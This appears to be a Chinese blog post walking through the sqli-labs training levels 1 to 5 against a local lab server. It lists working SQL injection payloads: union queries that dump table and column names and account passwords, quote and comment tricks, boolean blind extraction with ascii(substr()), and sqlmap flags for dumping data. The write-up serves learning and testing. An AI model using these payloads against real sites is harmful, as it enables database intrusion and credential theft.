SQL注入----sqli-labs

sqli-labs/Less-

sqli-labs/Less-1

第一关

判断是不是整形(数字型)注入还是字符型注入

http://192.168.111.129/sqli-labs/Less-1/index.php?id=1‘
在这里插入图片描述
在这里插入图片描述
报错语句,用单引号括起来的的
猜测提交的参数是 1’

在这里插入图片描述
【- -+】 是注释,其实- -和#才是注释,在url中,+会变成空格,
【- -’】也可以
在这里插入图片描述
在这里插入图片描述
那为什么不能用#号呢,因为url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了。

Order by是用来猜列数的。这个列数用于union 联合查询,通过尝试我们能发现有三列,

在这里插入图片描述
在这里插入图片描述

  1. 为什么没有出现显示位呢?

在这里插入图片描述

  1. Select 1,2,3的作用是什么呢?

首先union是个联合查询,左边是个查询select语句,右边是个查询select语句,union是个并集,union all默认返回重复的结果集,union 不重复。在网页上由于显示位只会显示第一行(第一个结果)的数据,所以我们要使左边查不到,变成空集,这样就会显示右边的数据了。
在这里插入图片描述

  1. 查询数据库

在这里插入图片描述

  1. 爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

information_schema 是个什么库呢?

在这里插入图片描述
在这里插入图片描述

  1. 在information_schema库中先看看schemeta表

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 在information_schema库中看看tables表

在这里插入图片描述

  1. 在information_schema库中看看columns表

在这里插入图片描述
TABLE_SCHEMA
表格所属的库。
TABLE_NAME
表名
COLUMN_NAME
字段名
在这里插入图片描述

这个表有这样两个字段,库名、表名,如上,所以就可以爆出security中的所有表。

  1. 看看这个为什么会报错?

在这里插入图片描述
自己sql语句没学好、select 属性1、属性2、属性3 from 表 where xxx
http://192.168.111.129/sqli-labs/Less-1/index.php?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’,3%23

  1. 下面才是正确的实例:

在这里插入图片描述
http://192.168.111.129/sqli-labs/Less-1/index.php?id=7’ union select 1,group_concat(t.table_name) ,group_concat(c.column_name) from information_schema.tables t,information_schema.columns c where t.table_schema=‘security’ and c.table_name=‘users’%23

在这里插入图片描述
在这里插入图片描述

  1. 爆出所有账户密码

在这里插入图片描述

第二、三、四关

  • 2关

在这里插入图片描述
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

说明1这个参数没有单引号
在这里插入图片描述
这里使union左边为空集必须得id等于负数,
在这里插入图片描述
在这里插入图片描述

  • 3关

在这里插入图片描述
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1

说明参数使1‘,且参数带了单引号

在这里插入图片描述
在这里插入图片描述

  • 4关

本题最开始试了好多比如id=,id=1‘,id=’,id=%23均不行
在这里插入图片描述

  • 为什么呢?

发现参数被“”双引号括起来了 ,所以“”里面很多东西都会被认为是字符串的内容,现在我们就尝试 \ 和”
在这里插入图片描述

所以又学到了一个新的姿势。

第五关(盲注)

在这里插入图片描述
经过几番调试,发现页面只有三种状态,那就是“you are in”, ”空白”,报错
然后可以判断这属于bool 类型的盲注,因为没有数据显示
在这里插入图片描述

  • 为什么id=‘1a’返回真值呢,而且id=‘11a’真值,id=‘9a’真值,id=‘20a’假

Sql特性
开始注入、爆库名
http://192.168.111.129/sqli-labs/Less-5/index.php?id=1’ and ascii(substr(database(),1,1))>120 %23 返回假
112真 113真 114真 115假,说明database()第一个字符的ascii码是115,可知是s

  • 看看substr函数,得到长度

接受三个参数,字符串、字串的第一个字符的起始位置、字串的字符个数

ascii(substr(database(),X,1))>0 X遍历数字可以得到database()的长度

ascii(substr(database(),x,1))>Y x属于[1,len(database())],Y的话一般来说是字母a-Z,用二分法【65,122】

  • 爆表名

http://192.168.111.129/sqli-labs/Less-5/index.php?id=1’ and ascii(substr( (select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0 %23

两个注意的点 第一个:select查询语句要()括起来;第二个:limit 0.1限制一个结果
Sqlmap
Sqlmap -u 注入点 --current-db
-D 指定数据库名称
–tables 列出数据库中的表
-T 指定表名称
–columns 列出表中字段
-C 指定字段
–dump 列出字段数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值